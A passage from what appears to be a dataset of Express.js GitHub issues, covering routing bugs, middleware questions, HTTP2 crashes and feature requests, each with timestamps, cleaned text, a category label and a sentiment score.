@mikeal @pet... [TRUNCATED]",,2024-02-06 01:44:00+00:00,2024-02-06 01:46:03+00:00,4,nan,0.0014,response gives invalid status code when number is sent in res status send hi there while i was testing my own pr i encountered an other issue sending number to i get the following error is this intentional or it is a bug that needs to fixed meanwhile works fine mikeal pet truncated,others,-0.5574
expressjs/express,2108158596,Question: The future of the Express development,"Hello,

I have noticed that the development activity of Express itself (not the middleware) has been declining.
The last stable release 4.18.2 is from Oct 8, 2022.
The last beta relelease 5.0.0-beta.1 is from Feb 16, 2022.

I also noticed, that Express' development in 2022 has been done by primarily one person (@dougwilson).
I would like to ask what the current situation of the Express development is.
Currently, Express is stable, and pretty popular according to npm download stats, but it wont stay stable in the future if maintenance is halted or abandoned.

Thats why I am wondering how the future of Express looks like. Mabye someone can give some clarification on that.

Thank you! :)


",,2024-01-30 15:34:40+00:00,2024-01-30 15:37:33+00:00,5,nan,0.002,question the future of the express development hello i have noticed that the development activity of express itself not the middleware has been declining the last stable release is from oct the last beta relelease beta is from feb i also noticed that express development in has been done by primarily one person dougwilson i would like to ask what the current situation of the express development is currently express is stable and pretty popular according to npm download stats but it wont stay stable in the future if maintenance is halted or abandoned thats why i am wondering how the future of express looks like mabye someone can give some clarification on that thank you,help,0.9224
expressjs/express,2101418691,Request.accepts documentation comment issue.,"Hello.

Small thing in the documentation comments of 'Request.accepts' in 'index.d.ts'. It says to return 'undefined' instead of 'false'.

Kind regards,",,2024-01-26 01:13:35+00:00,2024-02-11 06:48:17+00:00,5,nan,16.2324,request accepts documentation comment issue hello small thing in the documentation comments of request accepts in index d ts it says to return undefined instead of false kind regards,bug,0.7906
expressjs/express,2095795198,Inconsistent Logging Order for GET and POST Requests,"**Issue Description:**
I have implemented middleware in my Express application to log request details and response time. The main application code is provided below:

```javascript
const path = require('path');
const express = require('express');

const friendsRouter = require('./routes/friends.router');
const messagesRouter = require('./routes/messages.router');

const app = express();
const publicPath = path.join(__dirname, 'public');

const PORT = 3000;

app.use((req, res, next) => {
  const start = Date.now();
  next();

  const delta = Date.now() - start;
  console.log(`${req.method} ${req.baseUrl}${req.url} ${delta}ms`);
});

app.use(express.json());
app.use('/static', express.static(publicPath));

app.use('/friends', friendsRouter);
app.use('/messages', messagesRouter);

app.listen(PORT, () => {
  console.log(`Server listening on port ${PORT}`);
});
```

In friendsRouter, I have an extra middleware to log the ip address:
```javascript
friendsRouter.use((req, res, next) => {
  console.log('ip address', req.ip);
  next();
});
```

When I send a GET request, the logs are as expected:
```bash
GET /friends/ 2ms
ip address ::1
```

However, when I send a POST request, the order of logs is not consistent:
```bash
POST /friends 4ms
ip address ::1
```

**Expected Behavior:**
Consistent order of logs is expected for both GET and POST requests since the order of middleware functions is not changed.

**Actual Behavior:**
Th... [TRUNCATED]","help wanted,good first contribution",2024-01-23 10:50:40+00:00,2024-01-24 20:16:34+00:00,2,"help wanted,good first contribution",1.393,inconsistent logging order for get and post requests issue description i have implemented middleware in my express application to log request details and response time the main application code is provided below in friendsrouter i have an extra middleware to log the ip address when i send a get request the logs are as expected however when i send a post request the order of logs is not consistent consistent order of logs is expected for both get and post requests since the order of middleware functions is not changed th truncated,feature,0.0
expressjs/express,2087525804,Feature: Add support for multiple error routes,"By example, have multiple packages with multiple routers and error router but only last is called, by example of expected execution:

```
// Main project
const express = require('express');
const mainRouter = express.Router();

// Auth project
const authRouter = express.Router();
authRouter.use((req, res, next) => next(new BadAuthError()));
authRouter.use((e, req, res, next) => {
    if(e instanceof BadAuthError)
        res.status(403).json({ })
    next(e); // Unknown errors
});

// Pages project
const pagesRouter = express.Router();
pagesRouter.use((req, res, next) => next(new BadPageError()));
pagesRouter.use((e, req, res, next) => {
    if(e instanceof BadPageError)
        res.status(404).json({ })
    next(e); // Unknown errors
});

mainRouter.use(authRouter);
mainRouter.use(pagesRouter);
mainRouter.use((e, req, res, next) => res.status(500).json({ })); // Unknown error
```

Why not use a single function to handle all errors?: Beacuse each router has in different projects and a orchestator join all routers in a single router. By example, main orchestator project does not know the error objects of each of the other projects nor does it know how to respond to each of them, the idea is that each project handles its own errors.

If a controller executes next with an error argument it should execute the router next to the one that captures errors and skip those before it, this way each group of controllers can handle its own error handlers. E... [TRUNCATED]",,2024-01-18 05:20:12+00:00,2024-01-18 06:11:09+00:00,0,nan,0.0354,feature add support for multiple error routes by example have multiple packages with multiple routers and error router but only last is called by example of expected execution why not use a single function to handle all errors beacuse each router has in different projects and a orchestator join all routers in a single router by example main orchestator project does not know the error objects of each of the other projects nor does it know how to respond to each of them the idea is that each project handles its own errors if a controller executes next with an error argument it should execute the router next to the one that captures errors and skip those before it this way each group of controllers can handle its own error handlers e truncated,bug,-0.9747
expressjs/express,2054580662,should 400 on primitives test fails in Node v20.10.0,"Running `npm t`, I see the following error message:


Error: expected `[entity.parse.failed] Unexpected token 't', ""true"" is not valid JSON` response body, got `[entity.parse.failed] Unexpected token 't', ""#"" is not valid JSON`


",,2023-12-22 23:48:22+00:00,2023-12-22 23:50:55+00:00,0,nan,0.0018,should on primitives test fails in node v running i see the following error message error expected response body got,others,-0.8316
expressjs/express,2034036503,Routing bug - URIError: Failed to decode param '$%^',"Hi There,

I have found this weird bug in routing. Any API route param if contains these 3 characters in this sequence ""**$%^**"" it breaks the router and crashed. I need help how to prevent this from happening.

`URIError: Failed to decode param &#39;12321$%^4ABCD&#39;<br> &nbsp; &nbsp;at decodeURIComponent (&lt;anonymous&gt;)`

**Express Route:**
![express_route](https://github.com/expressjs/discussions/assets/62402545/cc4a2f06-5fd9-416a-b711-e30d77ba72c7)

**Valid Call**
![express_route_valid_call](https://github.com/expressjs/discussions/assets/62402545/4b3bd0fd-6f14-44d5-a02c-feccea72be18)

**Invalid Call**
![express_route_invalid_call](https://github.com/expressjs/discussions/assets/62402545/19484b30-8f29-4102-ab4d-2c2af4083be4)
","question,module:router",2023-12-09 20:07:08+00:00,2023-12-09 20:11:55+00:00,7,"question,module:router",0.0033,routing bug urierror failed to decode param hi there i have found this weird bug in routing any api route param if contains these characters in this sequence it breaks the router and crashed i need help how to prevent this from happening express route express route valid call express route valid call invalid call express route invalid call,bug,-0.8113
expressjs/express,2033886874,Uncertain Behavior: Routing Conflict,"I'm encountering a potential issue with my Express.js project that involves routing ambiguity. 
In my `index.js`, I've set up the middleware using 

- `app.use('/company', companyRoutes)`. 


Within `company.js`, I have two routes configured: 

- `router.get(/:company_id`, ... ) (corresponding to `/company/:company_id`) 

- `router.get(/all`, ... )                 (corresponding to `/company/all`). 

When making an API call to `/company/all`, it unexpectedly redirects to `/:company_id`,  and is executing its logic. 

I've observed that the regex of `/:company_id` is `/^\/(?:([^\/]+?))\/?$/i`, matching routes with no parameters. 
Rearranging the routes, I have resolved this by simply placing `/:company_id` at the end. 

I'm not sure if this behavior is patched or requires a different approach.","question,module:router",2023-12-09 15:09:53+00:00,2023-12-09 15:55:41+00:00,2,"question,module:router",0.0318,uncertain behavior routing conflict i m encountering a potential issue with my express js project that involves routing ambiguity in my i ve set up the middleware using within i have two routes configured corresponding to corresponding to when making an api call to it unexpectedly redirects to and is executing its logic i ve observed that the regex of is matching routes with no parameters rearranging the routes i have resolved this by simply placing at the end i m not sure if this behavior is patched or requires a different approach,help,-0.7151
expressjs/express,2031851193,HTTP2 insecure server crashes every time.,"I am trying to write an insecure HTTP2 web server. However it crashes on any inputs.

I need an insecure HTTP2 server. Here's my code:

```typescript
import { createServer } from 'node:http2';

import createExpressApp from 'express';
import http2ExpressBridge from 'http2-express-bridge';

// Test with: curl --insecure -v -k --http2-prior-knowledge ""http://[::]:8080""
function main(): void {
  const app = http2ExpressBridge(createExpressApp);

  app.get('*', (request, response) => {
    response.setHeader('Content-Type', 'text/plain');
    response.status(200);
    response.write('Server reached');
    response.end();
  });

  const server = createServer(app);

  server.listen({ port: 8080 });

  // Triggered by CMD/CTRL + C .
  process.on('SIGINT', () => {
    server.close();
    process.exit(0);
  });
}

try {
  main();
} catch (error) {
  console.error(error);
  process.exit(1);
}
```

I'm testing using ` curl --insecure -v -k --http2-prior-knowledge ""http://[::]:8080""`

Every time I execute it, the server crashes with:

```text
> tsx src/example/http2BugRepro.ts

node:events:492
      throw er; // Unhandled 'error' event
      ^

TypeError: Cannot read properties of undefined (reading 'readable')
    at IncomingMessage._read (node:_http_incoming:214:19)
    at Readable.read (node:internal/streams/readable:547:12)
    at resume_ (node:internal/streams/readable:1048:12)
    at process.processTicksAndRejections (node:inter... [TRUNCATED]","awaiting more info,http2",2023-12-08 03:04:59+00:00,2025-03-28 19:41:18+00:00,10,"awaiting more info,http2",476.6919,http insecure server crashes every time i am trying to write an insecure http web server however it crashes on any inputs i need an insecure http server here s my code i m testing using every time i execute it the server crashes with text tsx src example http bugrepro ts node events throw er unhandled error event typeerror cannot read properties of undefined reading readable at incomingmessage read node http incoming at readable read node internal streams readable at resume node internal streams readable at process processticksandrejections node inter truncated,bug,-0.886
expressjs/express,2025301593,Can express req.headers[x] be an array?,"@types/express indicates that various specified headers may be strings or undefined, but also that it may have other entries, which may be strings or arrays of strings.
```ts
 interface IncomingHttpHeaders extends NodeJS.Dict<string | string[]> {
    accept?: string | undefined;
    ""accept-language""?: string | undefined;
    ""accept-patch""?: string | undefined;
    ...
}
```
Is this typing correct? Are there any circumstances where express would add arrays to the headers list?

If so, what form would the content of these arrays be, and how could they be combined safely into a single string?

Thanks.",,2023-12-05 05:11:01+00:00,2023-12-05 05:20:04+00:00,2,nan,0.0063,can express req headers x be an array types express indicates that various specified headers may be strings or undefined but also that it may have other entries which may be strings or arrays of strings is this typing correct are there any circumstances where express would add arrays to the headers list if so what form would the content of these arrays be and how could they be combined safely into a single string thanks,others,0.8462
expressjs/express,2017103284,Input Validation for Request Parameters,"The `req.param` function lacks strict input validation for parameter names and default values. This makes the application susceptible to various attacks, including SQL injection and XSS. To enhance security, we should implement strict input validation using the `validator` library.

## Changes Proposed:

- Use the `validator` library to validate and sanitize user inputs for parameter names and default values.
- Throw a `TypeError` if an invalid parameter name or default value is detected.",,2023-11-29 17:40:17+00:00,2023-11-29 17:48:26+00:00,4,nan,0.0057,input validation for request parameters the function lacks strict input validation for parameter names and default values this makes the application susceptible to various attacks including sql injection and xss to enhance security we should implement strict input validation using the library changes proposed use the library to validate and sanitize user inputs for parameter names and default values throw a if an invalid parameter name or default value is detected,feature,0.8316
expressjs/express,2013000992,force leading slash with middleware,"I come after this:
https://github.com/expressjs/express/commit/ef497fdae413f85362d319436cf113edf6320677#diff-f7dc29b565d7b8578bbabcd36d010c1eb95527acd5f1395bf3e1a2d4506360c5R425-R437

This seems to be the intended default behavior but in my case I really need namespace. If I let user query /user instead of /user/ path of css are wrong. I know of https://developer.mozilla.org/fr/docs/Web/HTML/Element/base or maybe other way to specify in html. I don't know specific header in http to update this.

I serve content I have no control over (so I can modify on the fly but would like to avoid overhead). I can't imagine a way to use a redirection ? because / in the router match no /. I have enabled strict routing (tried both syntax just in case I did a typo: `app.set('strict routing', true);` and `app.enable('strict routing');`)",,2023-11-27 20:01:00+00:00,2024-09-02 16:59:41+00:00,2,nan,279.8741,force leading slash with middleware i come after this this seems to be the intended default behavior but in my case i really need namespace if i let user query user instead of user path of css are wrong i know of or maybe other way to specify in html i don t know specific header in http to update this i serve content i have no control over so i can modify on the fly but would like to avoid overhead i can t imagine a way to use a redirection because in the router match no i have enabled strict routing tried both syntax just in case i did a typo and,others,-0.8705
expressjs/express,2011046994,Enhance error handling middleware with custom handlers and logging,"# Description:
The current error handling middleware in Express provides a basic mechanism for capturing and responding to errors. However, it could be enhanced to offer more flexibility and control in handling different types of errors and providing more informative error responses.

# Proposed Changes:

## Introduce Custom Error Handlers:

- Implement a mechanism to define custom error handlers for specific error types or codes.
- Allow associating custom error handlers with specific routes or request methods.

## Enhanced Error Logging:

- Integrate a logging mechanism to capture error details, including error messages, stack traces, and relevant request information.
- Provide options to configure the logging level (debug, info, error) and specify the logging destination (console, file, external service).
## Improved Error Responses:

- Enable customizing the error response structure, including error codes, messages, and additional context information.
- Implement a mechanism to tailor error responses based on the error type or request context.

# Benefits:

- Enhanced error handling capabilities for more robust and granular error management.
- Improved error visibility and traceability through comprehensive error logging.
- Customizable error responses for more informative and user-friendly error communication.

# Additional Considerations:

- Maintain compatibility with existing error handling mechanisms.
- Provide clear documentation for conf... [TRUNCATED]",awaiting more info,2023-11-26 13:42:07+00:00,2023-11-26 13:50:16+00:00,2,awaiting more info,0.0057,enhance error handling middleware with custom handlers and logging description the current error handling middleware in express provides a basic mechanism for capturing and responding to errors however it could be enhanced to offer more flexibility and control in handling different types of errors and providing more informative error responses proposed changes introduce custom error handlers implement a mechanism to define custom error handlers for specific error types or codes allow associating custom error handlers with specific routes or request methods enhanced error logging integrate a logging mechanism to capture error details including error messages stack traces and relevant request information provide options to configure the logging level debug info error and specify the logging destination console file external service improved error responses enable customizing the error response structure including error codes messages and information implement a mechanism to tailor error responses based on the error type or request context benefits enhanced error handling capabilities for more robust and granular error management improved error visibility and traceability through comprehensive error logging customizable error responses for more informative and user friendly error communication additional considerations maintain compatibility with existing error handling mechanisms provide clear documentation for conf truncated,bug,-0.9935
expressjs/express,2008652510,Cannot route to a specific route,"> This is the route that I want the express to route
```
app.use('/griev', require('./routes/api/grievance'));

app.all('*', (req, res) => {
    res.status(404);
    if (req.accepts('html')) {
        res.sendFile(path.join(__dirname, 'views', '404.html'));
    } else if (req.accepts('json')) {
        res.json({ ""error"": ""404 Not Found"" });
    } else {
        res.type('txt').send(""404 Not Found"");
    }
});
```
> This is my grievance api route

```
const express = require('express');
const router = express.Router();
const grievController = require('../../controllers/grievController');
const ROLES_LIST = require('../../config/roles_list');
const verifyRoles = require('../../middleware/verifyRoles');

console.log(""griev route"")

if (verifyRoles(ROLES_LIST.User)) {
    router.post(grievController.createIssue);
}
else
    console.log(""could not verify"");


module.exports = router;
```
**All I get is 404 error whenever I make a post request to ```/griev``` route** ",question,2023-11-23 18:11:28+00:00,2023-11-25 14:26:00+00:00,2,question,1.8434,cannot route to a specific route this is the route that i want the express to route this is my grievance api route all i get is error whenever i make a post request to route,help,-0.7003
expressjs/express,2005280456,res.send add extra bytes streaming a binary file,"Hi, Express newbie here. I'm using `Express 4.18.2` served via `Netlify Functions`, and I'm trying to return a static jpeg image from an endpoint.
When I'm consuming the endpoint, the image results corrupted. After some investigations I found that some extra bytes are added in the beginning. 
As example:
![trailing bytes](https://github.com/expressjs/express/assets/379999/a4466d88-c019-4577-a327-05d2415fa3a8)

I tried with `res.sendFile` and `res.send([Buffer])`. My current solution is to return the image as base64, but it's not an optimal solution.
I think there is something I don't understand, could someone help?

```
import express, { Router } from ""express"";
import serverless from ""serverless-http"";

const api = express();
const router = Router();

router.get(""/image-send"", (req, res) => {
  const filePath = path.join(__dirname, 'data', image);

  let fb = fs.readFileSync(filePath);

  // the file is read correctly, the bytes are matching
  console.log(fb[0], fb[1], fb[2], fb[3], fb[4]) => 255 216 255 224 0 / FF D8 FF E0 00

  res.set('Content-Type', 'image/jpeg')
  // the file received by the browser (Chrome) or Postman are corrupted, due to extra trailing bytes 
  res.send(fb);
});

router.get(""/image-sendFile"", (req, res) => {
  const filePath = path.join(__dirname, 'data', image);

  // the file received by the browser (Chrome) or Postman are corrupted, due to extra trailing bytes 
  res.sendFile(filePath);
});

api.use(""/api/"", rout... [TRUNCATED]",,2023-11-21 22:54:10+00:00,2023-11-21 23:13:17+00:00,6,nan,0.0133,res send add extra bytes streaming a binary file hi express newbie here i m using served via and i m trying to return a static jpeg image from an endpoint when i m consuming the endpoint the image results corrupted after some investigations i found that some extra bytes are added in the beginning as example trailing bytes i tried with and my current solution is to return the image as base but it s not an optimal solution i think there is something i don t understand could someone help import express router from express import serverless from serverless http const api express const router router router get image send req res const filepath path join dirname data image let fb fs readfilesync filepath the file is read correctly the bytes are matching console log fb fb fb fb fb ff d ff e res set content type image jpeg the file received by the browser chrome or postman are corrupted due to extra trailing bytes res send fb router get image sendfile req res const filepath path join dirname data image the file received by the browser chrome or postman are corrupted due to extra trailing bytes res sendfile filepath api use api rout truncated,others,0.9551
expressjs/express,1999313078,Specific route body size limitations do not override the global configuration,"Hello,

In our application, we have a global body size limitation for all incoming requests, which we set like this:
```
// All requests are limited to 2mb
app.use(express.json({ limit: '2mb' }));
```

If we wanted to have a different body size limitation for a specific route, we would need to set it like this:
```
// Requests to /test are limited to 5mb, all other requests are limited to 2mb
app.use('/test', express.json({ limit: '5mb' }));
app.use(express.json({ limit: '2mb' }));
```

If we pushed the line below the global setting, it does not work as the global limitation is not overridden:
```
// All requests are limited to 2mb
app.use(express.json({ limit: '2mb' }));
app.use('/test', express.json({ limit: '5mb' }));
```

Would it be possible to somehow override the global setting if a specific route has a different setting and is set after the global one?
Ideally, it would be awesome to have this limitation as a middleware that we could pass to the route middleware array. Not really sure if that's possible right now. Here's what I'm talking about:
```
// Requests to /test are limited to 5mb, all other requests are limited to 2mb
app.use(express.json({ limit: '2mb' }));

const router = express.Router();

router.get('/test', [express.json({ limit: '5mb' })], (req, res, next) => {...});

app.use(router);
```",,2023-11-17 14:55:41+00:00,2023-11-20 09:41:31+00:00,3,nan,2.7818,specific route body size limitations do not override the global configuration hello in our application we have a global body size limitation for all incoming requests which we set like this if we wanted to have a different body size limitation for a specific route we would need to set it like this if we pushed the line below the global setting it does not work as the global limitation is not overridden would it be possible to somehow override the global setting if a specific route has a different setting and is set after the global one ideally it would be awesome to have this limitation as a middleware that we could pass to the route middleware array not really sure if that s possible right now here s what i m talking about,others,0.4444
expressjs/express,1999122429,req params in app.use are not working.,"I'm working on a very large-scale project that uses **Express v4.18.2**. Routes are defined as follows

_routes/index.ts_
```js
router.use(""/users"", usersRouter);

router.use(""/users/:userId/permissions"", userPermissionsRoutes);
```

_routes/userPermissions.router.ts_
```ts
router.post(
  ""/"",
  permission.createUserPersmissions
);
```

When I try to access `userId` in the controller using `req.params.userId` it gives `undefined`.

Here is the partial console.log of the `req` object
```js
baseUrl: '/v2/users/ab3d20e9-deb2-46cc-bb36-3sadsadfsaed/permissions',
  originalUrl: '/v2/users/ab3d20e9-deb2-46cc-bb36-3sadsadfsaed/permissions',
  _parsedUrl: Url {
    protocol: null,
    slashes: null,
    auth: null,
    host: null,
    port: null,
    hostname: null,
    hash: null,
    search: null,
    query: null,
    pathname: '/',
    path: '/',
    href: '/',
    _raw: '/'
  },
  params: {},
  query: {},
```

Please tell me how can I access the params that are defined in `app.use`. ",,2023-11-17 13:22:46+00:00,2023-11-20 09:36:03+00:00,2,nan,2.8426,req params in app use are not working i m working on a very large scale project that uses express v routes are defined as follows routes index ts routes userpermissions router ts when i try to access in the controller using it gives here is the partial console log of the object please tell me how can i access the params that are defined in,others,0.3182
expressjs/express,1996367221,TypeError on accessing req.query in Express 5.0.0-beta.1,"Hello!

I've recently upgraded from Express 4 to Express 5 to take advantage of the new error handling with ""automatic"" promise rejection. It's been working great, but I've run into a snag with `req.query`. Despite following the migration notes for Express 5, I'm not having any luck.

package.json:
```
""dependencies"": {
    ...
    ""express"": ""^5.0.0-beta.1""
}
```
I've also manually added the `qs` module and set it up like this, but the outcome hasn't changed:
`app.set('query parser', (str) => qs.parse(str))`

My route is set up as follows:
```
var protected = express.Router()
protected.get('/', keycloak.protect(), async function (req, res) {
        console.log(req.query)
        return res.json({})
})
```

However, I get an error at `console.log(req.query)`, and the stack trace is:
```
TypeError: this.app.get is not a function
at IncomingMessage.query (/app/node_modules/express/lib/request.js:219:29)
at /app/server/routes/assetsRoutes.js:83:25
at Layer.handleRequest (/app/node_modules/router/lib/layer.js:101:15)
at next (/app/node_modules/router/lib/route.js:142:13)
at protect (/app/node_modules/keycloak-connect/middleware/protect.js:54:16)
at Layer.handleRequest (/app/node_modules/router/lib/layer.js:101:15)
at next (/app/node_modules/router/lib/route.js:142:13)
at Route.dispatch (/app/node_modules/router/lib/route.js:107:3)
at handle (/app/node_modules/router/index.js:421:11)
at Layer.handleRequest (/app/node_modules/router/lib/layer.js:... [TRUNCATED]",,2023-11-16 08:50:08+00:00,2023-11-20 11:25:00+00:00,1,nan,4.1075,typeerror on accessing req query in express beta hello i ve recently upgraded from express to express to take advantage of the new error handling with automatic promise rejection it s been working great but i ve run into a snag with despite following the migration notes for express i m not having any luck package json i ve also manually added the module and set it up like this but the outcome hasn t changed my route is set up as follows however i get an error at and the stack trace is typeerror this app get is not a function at incomingmessage query app node modules express lib request js at app server routes assetsroutes js at layer handlerequest app node modules router lib layer js at next app node modules router lib route js at protect app node modules keycloak connect middleware protect js at layer handlerequest app node modules router lib layer js at next app node modules router lib route js at route dispatch app node modules router lib route js at handle app node modules router index js at layer handlerequest app node modules router lib layer js truncated,bug,0.5073
expressjs/express,1989754762,How can I catch client error event?,"Can I catch client error event like POST, PUT, etc?

I should catch client error like timeout, disconnect.

So I tried like below in log middleware.

```
req.on(""error"", (error:Error) => {
      logger.error(""Request Error : "", error);  
    });
```

With GET method, it worked

```
Error: aborted
at connResetException (node:internal/errors:704:14)
at abortIncoming (node:_http_server:625:17)
at socketOnClose (node:_http_server:619:3)
at Socket.emit (node:events:525:35)
at TCP.<anonymous> (node:net:757:14)
```

But with other method, it did not work..

This is my testcode in server. For test with timeout, I use sleep.

```
this.router.post(`/test`, async(req:Request,res:Response)=>{
      await sleep(100)
      res.status(200).send()
    });
```

I'm using express 4.18 and node version 18

",,2023-11-13 02:11:16+00:00,2024-09-02 16:45:27+00:00,1,nan,294.6071,how can i catch client error event can i catch client error event like post put etc i should catch client error like timeout disconnect so i tried like below in log middleware with get method it worked but with other method it did not work this is my testcode in server for test with timeout i use sleep i m using express and node version,bug,-0.1901
expressjs/express,1989091771,Request triager role for mustafamengutay,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2023-11-11 19:30:57+00:00,2024-04-11 04:43:36+00:00,1,nan,151.3838,request triager role for mustafamengutay i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,1978600939,Request triager role for htmujahid,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

express",,2023-11-06 08:47:16+00:00,2024-04-11 04:47:37+00:00,1,nan,156.8336,request triager role for htmujahid i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations express,feature,0.6369
expressjs/express,1953607623,Report,"Why is expressjs still using debug@2.6.9 ? Security scans show that this version is vulnerable to CWE-401 and CWE-1333.
Please update to latest version.",,2023-10-20 06:14:12+00:00,2023-10-20 06:28:26+00:00,1,nan,0.0099,report why is expressjs still using debug security scans show that this version is vulnerable to cwe and cwe please update to latest version,others,0.4215
expressjs/express,1953228870,Get Request 404 Error,"I am receiving a 404 Not Found error in the browser for a get request. I have gone over my code several times but I still can't see what the issue is.  

The get request for the root file is working fine. The get request for path /stock is giving me the 404.

Here is my server.js file, and below that is the ticker-router.js file for path ""/stock"". 

Any help would be much appreciated.


```js
import express from 'express';
import router from '../ticker-router.js';
import routerM from '../home-router.js';
const PORT = process.env.PORT || 3000;
const app = express();

app.use(express.static(""dist""));

app.use((req, res, next) => {
res.header(""Access-Control-Allow-Origin"", ""*"");
next();
});

app.use(express.json());
app.use(""/"", routerM);
app.use(""/stock"", router);


app.listen(PORT, () => {
    console.log(""Proxy listening on port:"", PORT);
});
```


```js
import express from ""express"";
import path from ""path"";
const router = express.Router();

router.get(""/stock"", (req, res, next) => {
  return res.sendFile(path.join(""C:/Desktop/Ticqer"", ""/dist/ticker.html""));
});

export default router
```


",question,2023-10-19 23:55:01+00:00,2023-11-27 08:43:47+00:00,5,question,38.3672,get request error i am receiving a not found error in the browser for a get request i have gone over my code several times but i still can t see what the issue is the get request for the root file is working fine the get request for path stock is giving me the here is my server js file and below that is the ticker router js file for path stock any help would be much appreciated,bug,0.8834
expressjs/express,1943851467,Node:fs disturbs Express?,"I cant use node:fs.readdir() in express.

i want to use `readdir()` to load routes automatically, but i find that it is ok when run dev and Not Found when access the route.

whats a problem? is it because i dont have a deep understanding of whats the effect of `readdir()` or `readdir()` cant be used like this?

the main code is following:

app.js
```
const {useRouter} = require('./routes/index')
useRouter(app)
```
./routes/index
```
const { readdir} = require('node:fs/promises')
const user = require('./user')

const useRouter = async function(app) {
    // Not Found when access the route
    await readdir(__dirname)
    
    app.use(user.path, user.router)
}

module.exports = {
    useRouter
}
```
./user
```
const express = require('express')

const path = '/user'
const router = express.Router()

router.get('/login', (req, res) => {
    res.json({
        msg: 'logined'
    })
})

module.exports = { path, router }
```",,2023-10-15 11:30:09+00:00,2023-10-31 08:47:36+00:00,2,nan,15.8871,node fs disturbs express i cant use node fs readdir in express i want to use to load routes automatically but i find that it is ok when run dev and not found when access the route whats a problem is it because i dont have a deep understanding of whats the effect of or cant be used like this the main code is following app js routes index user,others,-0.6387
expressjs/express,1940820087,Bun Integration with Express,"Upon witnessing the remarkable advancements in memory usage and the viral adoption of Bun's exceptional speed, alongside the invaluable support with **fs**, **HTTP**, **path**, **MongoDB** methods, and essential express functionalities, I have a question.

When can we expect the utilization of complex express projects with Bun, as a viable alternative to Node.js? As I employ the MVC pattern, I have encountered numerous bugs when running express alongside Bun. Therefore, I kindly urge you to prioritize the integration of your esteemed library within Bun, acknowledging their competitive nature as alternatives to each other.

![bun](https://github.com/expressjs/express/assets/93044377/4b8e8e25-75dc-40a0-aaad-0f4f531a61fd)
",,2023-10-12 21:29:33+00:00,2023-10-12 21:33:04+00:00,1,nan,0.0024,bun integration with express upon witnessing the remarkable advancements in memory usage and the viral adoption of bun s exceptional speed alongside the invaluable support with fs http path mongodb methods and essential express functionalities i have a question when can we expect the utilization of complex express projects with bun as a viable alternative to node js as i employ the mvc pattern i have encountered numerous bugs when running express alongside bun therefore i kindly urge you to prioritize the integration of your esteemed library within bun acknowledging their competitive nature as alternatives to each other bun,others,0.9201
expressjs/express,1936424782,Unable to create Partitioned cookie,"The Partitioned attribute is not set when passing the option to res.cookie(). 

https://developer.chrome.com/docs/privacy-sandbox/third-party-cookie-phase-out/#partitioned-cookies",enhancement,2023-10-10 23:03:18+00:00,2026-01-17 04:07:17+00:00,23,enhancement,829.2111,unable to create partitioned cookie the partitioned attribute is not set when passing the option to res cookie,feature,0.2732
expressjs/express,1923463995,Oddly post route sometimes not found.,"I honestly have the weirdest thing going on. My routes worked perfectly until...

Lucky luke on this one cause im lost. Like I checked even if the route is properly passed and it all matches, it has been working so far for about a 100k requests I dont see why the sudden issue rises...

All I did was add next() on the Route File in *watch()* at the end before returning undefined.

Base App file:
https://pastebin.com/d8nHHzP4

Route File (Path fail origin)
https://pastebin.com/erZyRAUp

Once that was added about 20% of post requests were 404 not found.
",,2023-10-03 07:08:13+00:00,2023-12-12 11:07:42+00:00,3,nan,70.1663,oddly post route sometimes not found i honestly have the weirdest thing going on my routes worked perfectly until lucky luke on this one cause im lost like i checked even if the route is properly passed and it all matches it has been working so far for about a k requests i dont see why the sudden issue rises all i did was add next on the route file in watch at the end before returning undefined base app file route file path fail origin once that was added about of post requests were not found,others,0.2071
expressjs/express,1885835606,res.json,"in the response.js / strinigify function
at the line 1148
--var json = replacer || spaces
      ? JSON.stringify(value, replacer, spaces)
      : JSON.stringify(value);
when we set ('json spaces',0) and replacer null
this logical operator returning "":JSON.stringify(value)""
0 is false for v8 engine
we want to remove line indentation.",,2023-09-07 12:53:18+00:00,2023-09-07 14:05:46+00:00,3,nan,0.0503,res json in the response js strinigify function at the line var json replacer spaces json stringify value replacer spaces json stringify value when we set json spaces and replacer null this logical operator returning json stringify value is false for v engine we want to remove line indentation,others,0.7579
expressjs/express,1863511921,How to contribute in open source in express. Js,"I recently started learning express. js , I need guidance about how to contribute in express. Js projects. ",,2023-08-23 14:58:38+00:00,2023-08-31 09:06:02+00:00,1,nan,7.7551,how to contribute in open source in express js i recently started learning express js i need guidance about how to contribute in express js projects,help,0.0
expressjs/express,1861661031,React Failed to decode param,"Hi ,
I have a problem with express, when enter the following url : http://localhost:3000/% i get the error : Failed to decode param.
I use react.

`URIError: Failed to decode param '/%'
    at decodeURIComponent (<anonymous>)
    at decode_param (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/layer.js:172:12)
    at Layer.match (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/layer.js:123:27)
    at matchLayer (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/index.js:585:18)
    at next (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/index.js:226:15)
    at expressInit (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/middleware/init.js:40:5)
    at Layer.handle [as handle_request] (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/layer.js:95:5)
    at trim_prefix (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/index.js:328:13)
    at /Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/index.js:286:9
